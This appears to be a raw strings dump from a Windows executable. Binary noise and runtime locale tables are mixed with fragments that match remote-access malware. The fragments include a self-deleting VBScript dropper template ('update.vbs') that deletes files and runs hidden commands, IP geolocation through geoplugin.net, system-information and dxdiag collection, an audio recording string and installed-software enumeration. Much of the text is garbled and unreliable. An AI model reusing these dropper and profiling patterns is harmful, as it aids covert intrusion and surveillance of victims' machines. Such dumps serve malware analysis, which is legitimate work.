? ?$?(?,?0?4?8?<?@?D?H?L?P?T?X?\?`?d?h?l?p?t?x?|?

\1`1d1h1

242X2x2

7 7$74787@7X7h7l7|7

8 8(8@8P8T8d8h8l8p8x8

9,9<9@9P9T9\9t9

: :0:4:<:T:d:h:x:|:

;,;0;4;8;<;D;\;l;p;

< <0<4<8<@<X<

1$1h1|1

2<2D2L2X2`2

3D3T3`3h3

4L4\4h4p4

5(50585@5D5H5P5d5l5

5$606P6\6

747@7H7t7x7

808P8\8x8

989X9x9

: :@:`:

; ;@;`;

< <@<`<

= =@=\=`=

`1d1h1x1|1

2(282H2`2l2p2t2

:$:L:l:

;4;T;t;

<,<L<h<

kernel32.dll

zh-CHS

az-AZ-Latn

uz-UZ-Latn

kok-IN

syr-SY

div-MV

quz-BO

sr-SP-Latn

az-AZ-Cyrl

uz-UZ-Cyrl

quz-EC

sr-SP-Cyrl

quz-PE

smj-NO

bs-BA-Latn

smj-SE

sr-BA-Latn

sma-NO

sr-BA-Cyrl

sma-SE

sms-FI

smn-FI

zh-CHT

az-az-cyrl

az-az-latn

bs-ba-latn

div-mv

kok-in

quz-bo

quz-ec

quz-pe

sma-no

sma-se

smj-no

smj-se

smn-fi

sms-fi

sr-ba-cyrl

sr-ba-latn

sr-sp-cyrl

sr-sp-latn

syr-sy

uz-uz-cyrl

uz-uz-latn

zh-chs

zh-cht

Eadvapi32

api-ms-win-core-fibers-l1-1-1

api-ms-win-core-synch-l1-2-0

kernel32

(null)

mscoree.dll

DLC_ALL

LC_COLLATE

LC_CTYPE

LC_MONETARY

LC_NUMERIC

LC_TIME

((((( H

(

((((( H

Sunday

Monday

Tuesday

Wednesday

Thursday

Friday

Saturday

January

February

August

September

October

November

December

MM/dd/yy

dddd, MMMM dd, yyyy

HH:mm:ss

Eapi-ms-win-appmodel-runtime-l1-1-1

api-ms-win-core-datetime-l1-1-1

api-ms-win-core-file-l2-1-1

api-ms-win-core-localization-l1-2-1

api-ms-win-core-localization-obsolete-l1-2-0

api-ms-win-core-processthreads-l1-1-2

api-ms-win-core-string-l1-1-0

api-ms-win-core-sysinfo-l1-2-1

api-ms-win-core-winrt-l1-1-0

api-ms-win-core-xstate-l2-1-0

api-ms-win-rtcore-ntuser-window-l1-1-0

api-ms-win-security-systemfunctions-l1-1-0

ext-ms-win-kernel32-package-current-l1-1-0

ext-ms-win-ntuser-dialogbox-l1-1-0

ext-ms-win-ntuser-windowstation-l1-1-0

user32

Damerican

american english

american-english

australian

belgian

canadian

chinese

chinese-hongkong

chinese-simplified

chinese-singapore

chinese-traditional

dutch-belgian

english-american

english-aus

english-belize

english-can

english-caribbean

english-ire

english-jamaica

english-nz

english-south africa

english-trinidad y tobago

english-uk

english-us

english-usa

french-belgian

french-canadian

french-luxembourg

french-swiss

german-austrian

german-lichtenstein

german-luxembourg

german-swiss

irish-english

italian-swiss

norwegian

norwegian-bokmal

norwegian-nynorsk

portuguese-brazilian

spanish-argentina

spanish-bolivia

spanish-chile

spanish-colombia

spanish-costa rica

spanish-dominican republic

spanish-ecuador

spanish-el salvador

spanish-guatemala

spanish-honduras

spanish-mexican

spanish-modern

spanish-nicaragua

spanish-panama

spanish-paraguay

spanish-peru

spanish-puerto rico

spanish-uruguay

spanish-venezuela

swedish-finland

america

britain

england

great britain

holland

hong-kong

new-zealand

pr china

pr-china

puerto-rico

slovak

south africa

south korea

south-africa

south-korea

trinidad & tobago

united-kingdom

united-states

CONOUT$

Set fso = CreateObject("Scripting.FileSystemObject")

On Error Resume Next

while fso.FileExists("

fso.DeleteFile "

fso.DeleteFolder "

fso.DeleteFile(Wscript.ScriptFullName)

\update.vbs

""", 0

CreateObject("WScript.Shell").Run "cmd /c ""

CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)

SystemDrive

WinDir

\system32

\SysWOW64

ProgramFiles

AppData

UserProfile

ProgramData

pth_unenc

http://geoplugin.net/json.gp

cmd.exe

\sysinfo.txt

dxdiag

image/jpeg

image/png

d alias audio

" type

open "

lDisplayName

Publisher

DisplayVersion

InstallLocation

InstallDate

UninstallString

SETTINGS